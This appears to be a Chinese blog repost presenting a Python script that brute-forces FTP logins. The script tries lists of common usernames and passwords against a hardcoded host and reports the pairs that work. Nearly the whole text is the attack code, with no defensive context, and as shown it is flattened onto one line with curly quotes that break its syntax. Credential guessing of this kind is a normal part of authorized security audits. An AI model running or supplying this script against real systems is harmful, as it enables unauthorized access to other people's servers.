FTP弱口令猜解python脚本
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了FTP弱口令猜解python脚本相关的知识,希望对你有一定的参考价值。
ftp弱口令猜解
python脚本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import ftplib,time username_list=[‘root‘,‘ftp‘,‘admin‘] password_list=[‘root‘,‘123‘,‘ftp‘,‘oracle‘] def ftp(ip,port=21): for username in username_list: user =username.rstrip() for password in password_list: pwd = password.rstrip() try: ftp = ftplib.FTP() ftp.connect(ip,port, 10) ftp.login(user,pwd) ftp.quit() print ‘[+] FTP weak password: ‘+user,pwd except: print ‘[-] checking for ‘+user,pwd+‘ fail‘ if __name__ == ‘__main__‘: start_time = time.time() ftp(‘192.168.106.131‘) print "\\n" print ‘Checking for FTP weak password: %d 秒‘ % (time.time() - start_time)
以上是关于FTP弱口令猜解python脚本的主要内容,如果未能解决你的问题,请参考以下文章